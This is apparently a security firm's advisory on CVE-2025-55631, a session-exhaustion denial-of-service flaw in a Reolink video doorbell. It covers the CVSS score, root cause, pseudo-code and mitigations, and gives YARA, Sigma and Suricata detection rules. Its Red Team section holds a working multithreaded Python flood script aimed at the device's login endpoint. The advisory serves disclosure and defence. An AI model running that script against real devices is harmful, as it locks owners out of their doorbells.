CVE-2025-55631

Executive Summary

CVE-2025-55631 exposes a critical Denial of Service (DoS) vulnerability in the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, firmware version v3.0.0.4662_2503122283. The device manages user sessions system-wide rather than on a per-account basis, allowing a single attacker to exhaust all available session slots by rapidly opening multiple concurrent connections. This prevents legitimate users from authenticating or maintaining sessions, effectively locking them out of the device. The vendor has acknowledged the behavior as intentional, meaning no patch is expected. This vulnerability is particularly dangerous for IoT deployments where physical security (doorbell access) is critical.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an IoT device. No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact is confined to the device.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: High (A:H) – complete denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can be triggered by any unauthenticated attacker on the network. The lack of a patch and the vendor’s intentional stance increase the risk.

Deep Dive & Mechanics

The Reolink Smart 2K+ Doorbell uses a session management system that allocates a fixed number of concurrent sessions (e.g., 10 or 20) for the entire device, rather than per user account. When a user authenticates, a session is created. If an attacker sends a high volume of authentication requests (even with invalid credentials), the device may create sessions that are never properly cleaned up, or it may simply exhaust the session pool.

Root Cause: The session table is a global resource. The device does not enforce per-account limits or session timeouts aggressively enough. An attacker can open multiple TCP connections and send login requests, each consuming a session slot. Once the pool is full, new login attempts (including legitimate ones) are rejected, and existing sessions may be terminated to free resources, causing a cascading failure.

Attack Flow:

1. Attacker identifies the doorbell’s IP address (e.g., via Shodan or local network scan).
2. Attacker sends a burst of HTTP POST requests to the login endpoint (e.g., /api/login).
3. Each request creates a new session, filling the global session table.
4. Legitimate users cannot log in or maintain their sessions.
5. The device may become unresponsive to all network requests.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is in the session management module of the firmware. A hypothetical fix would involve:

Vulnerable (pseudo-code):

// Global session pool
#define MAX_SESSIONS 10
session_t sessions[MAX_SESSIONS];
int session_count = 0;

int create_session(user_t *user) {
    if (session_count >= MAX_SESSIONS) {
        return -1; // No more sessions
    }
    sessions[session_count++] = new_session(user);
    return 0;
}

Patched (hypothetical):

// Per-account session limit
#define MAX_SESSIONS_PER_USER 2
session_t sessions[MAX_SESSIONS];
int session_count = 0;

int create_session(user_t *user) {
    int user_sessions = count_sessions_for_user(user);
    if (user_sessions >= MAX_SESSIONS_PER_USER) {
        return -1; // User already has max sessions
    }
    if (session_count >= MAX_SESSIONS) {
        // Reclaim oldest session from any user
        reclaim_oldest_session();
    }
    sessions[session_count++] = new_session(user);
    return 0;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Reolink Smart 2K+ Doorbell (firmware v3.0.0.4662_2503122283)
• Attacker: Kali Linux with Python3 and requests library.
• Network: Same subnet as the doorbell.

Exploit Script (Python):

import requests
import threading

target = "http://<doorbell_ip>/api/login"
payload = {"username": "admin", "password": "wrongpassword"}

def flood():
    while True:
        try:
            requests.post(target, data=payload, timeout=2)
        except:
            pass

# Launch 50 threads
for _ in range(50):
    threading.Thread(target=flood).start()

Expected Outcome: After a few seconds, the doorbell becomes unresponsive to legitimate login attempts. The device may need a power cycle to recover.

Blue Team

Detection:

• Monitor for a high volume of failed login attempts from a single IP.
• Alert on session exhaustion errors in device logs.
• Use network traffic analysis to detect rapid HTTP POST requests to /api/login.

Mitigation:

• Implement network-level rate limiting (e.g., using a firewall or IDS).
• Isolate the doorbell on a separate VLAN with strict access controls.
• Disable remote access if not required.
• Monitor device health and reboot automatically if unresponsive.

Indicators of Compromise (IOCs)

• Network: High volume of HTTP POST requests to /api/login from a single source IP.
• Logs: Device logs showing "session table full" or "authentication failed" repeated rapidly.
• Behavior: Legitimate users unable to log in; device unresponsive to API calls.
• Firmware: Confirmed vulnerable version: v3.0.0.4662_2503122283.

Detection Engineering

YARA Rule

rule CVE_2025_55631_Reolink_DoS {
    meta:
        description = "Detects Reolink doorbell session exhaustion attack traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55631"
    strings:
        $login_endpoint = "/api/login"
        $session_full = "session table full" nocase
    condition:
        #login_endpoint > 10 or $session_full
}

Sigma Rule

title: Reolink Doorbell Session Exhaustion Attack
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects a high volume of login attempts to Reolink doorbell, indicating a DoS attack.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: reolink
detection:
    selection:
        cs-uri-stem: '/api/login'
        sc-status: 200
    condition: selection | count() by src_ip > 100 in 60 seconds
falsepositives:
    - Legitimate high usage (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55631 Reolink Doorbell Session Exhaustion DoS";
    flow:to_server;
    content:"POST"; http_method;
    content:"/api/login"; http_uri;
    threshold: type both, track by_src, count 100, seconds 60;
    classtype:denial-of-service;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the doorbell on a separate VLAN with strict firewall rules. Only allow necessary traffic (e.g., from a dedicated app server).
2. Rate Limiting: Deploy a reverse proxy or WAF in front of the doorbell to limit login attempts per IP (e.g., 10 requests per minute).
3. Monitor: Enable logging and alert on excessive login failures.
4. Firmware Update: Check for future firmware updates from Reolink. If none, consider replacing the device.

Long-Term:

• Vendor Engagement: Pressure Reolink to implement per-account session limits.
• Device Replacement: If the device is critical, replace with a model that supports proper session management.
• Physical Security: Ensure the doorbell is not exposed to the internet. Use a VPN for remote access.

Valters IT – Securing IoT, one vulnerability at a time.